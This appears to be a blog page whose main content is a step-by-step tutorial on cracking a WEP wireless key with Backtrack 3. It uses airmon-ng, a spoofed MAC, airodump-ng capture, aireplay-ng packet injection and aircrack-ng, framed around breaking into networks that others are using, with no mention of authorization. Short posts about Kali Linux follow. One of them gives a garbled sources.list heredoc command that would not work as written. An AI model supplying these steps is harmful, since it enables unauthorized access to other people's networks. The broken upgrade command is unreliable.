How To Hack WEP Network ?

This article will explain how to crack wep key using Backtrack3.

Step 1:-
Download Backtrack 3 from the following link
http://www.remote-exploit.org/backtrack_download.html

Step 2:-
Burn the iso image on CD and boot your laptop from CD drive

Step 3:-
Select the third boot option(VESA/KDE).

Step 4:-
Once in BT3, click the tiny black box in the lower left corner to load up a "Konsole" window.

Step 5:-
Type the following command
airmon-ng
Note down the interface name. In this example wifi0

Step 6:-
airmon-ng stop wifi0

Step 7:-
ifconfig wifi0 down

Step 8:-
macchanger --mac 00:11:22:33:44:55 wifi0

Step 9:-
airmon-ng start wifi0

Step 10:-
airodump-ng wifi0
This will start populating Wifi networks. Press Ctrl + C to stop.
Check the network with WEP encryption.
Notedown BSSID, CH and ESSID somewhere in notepad or paper
Note that if the same BSSID is available in the second part with STATION associated with it, it means you some one is accessing that network and our task will be little easier. If not than don’t worry we will still crack it

Step 11:-
airodump-ng -c (channel) -w (file name) --bssid (bssid) wifi0
Replace
(channel) with the CH which u had already note
(file name) with any name of your choice
(bssid) with the BSSID which u had already note

Leave this console as it is and start new console

Step 12:-
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 wifi0
If you don’t get Association Successful message than keep on trying until you get success

Step 13:-
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wifi0
Well if you don’t see ARP ACK and sent packets are not increasing or still 0 than it means no 1 is accessing that network.But don’t worry you got an optional step
Leave this console as it is and start new console

Step 14:-
aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF –b (bssid) –h 00:11:22:33:44:55 wfi0

Press y and enter
Now you will see that ARP and ACK packets in 2nd console are increasing fast
Keep this console as it is and start 4th console

Step 15:-
aircrack-ng -b (bssid) (filename)-01.cap
Just wait and watch…..Backtrack will do rest of the work.

Hurray we got the key. Remove “ 7D0005F98DC9E489F211C54998

Comments

Upcoming Book- Kali Linux Revealed: Mastering the Penetration Testing Distribution

More exciting news! In the past year, Kali Linux Official Team has been working internally on an Official Kali Linux book – Kali Linux Revealed: Mastering the Penetration Testing Distribution . This is the first official Kali book from Offsec Press , and is scheduled for release on June 5th, 2017 . Kali Linux Revealed will be available in both hard copy and online formats. Keeping the Kali Linux spirit, the online version of the book will be free of charge, allowing anyone who wishes to hone their skills and improve their knowledge of Kali to do so at no cost. This book, together with our official Kali documentation site will encompass the body of knowledge for the Kali Linux Certified Professional (KLCP) .

EOF of Kali Linux 1.0

Kali Sana (ver. 2.0) has been out there couple of months ago and the response was great. Kali Moto (ver. 1.0) has been given 2 months of grace period to date the version to 2.0. To upgrade, edit the souces.list file and put the following entries. cat >> EOF < /etc/apt/sources.list deb http://http.kali.org/kali sana main non-free contrib deb http://security.kali.org/kali-security/ sana/updates main contrib non-free EOF Then, run the following command to do upgrade Kali Moto to Kali Sana. apt-get update apt-get dist-upgrade # get a coffee, or 10. reboot

Kali Linux: A complete InfoSec Distro

BackTrack has always been a popular choice when it comes to security and penetration testing. This open source distro has gained a lot of popularity and was rolled till version 5 with frequent changes to the variants. This project from Offensive Security has been moved from Ubuntu to Debian and the operating system is now renamed as Kali Linux. If you have installed a fresh copy of Kali Linux, then you might have noticed some awesome security and penetration tools under Kali Linux drop down menu list. These tools are powerful and yet efficient to use. If you go through the menu list of security tools, you might have noticed that few like Wireless Attacks, Forensics and Reverse Engineering is added, which is quite impressive. One more section has been added in the list, ie Hardware Hacking. One more thing that you would be happy to see is Arduino kit on the list. Arduino is a single-board microcontroller designed to make the process of using electronics in multi-disciplinary projects mo...

Rock book

Search This Blog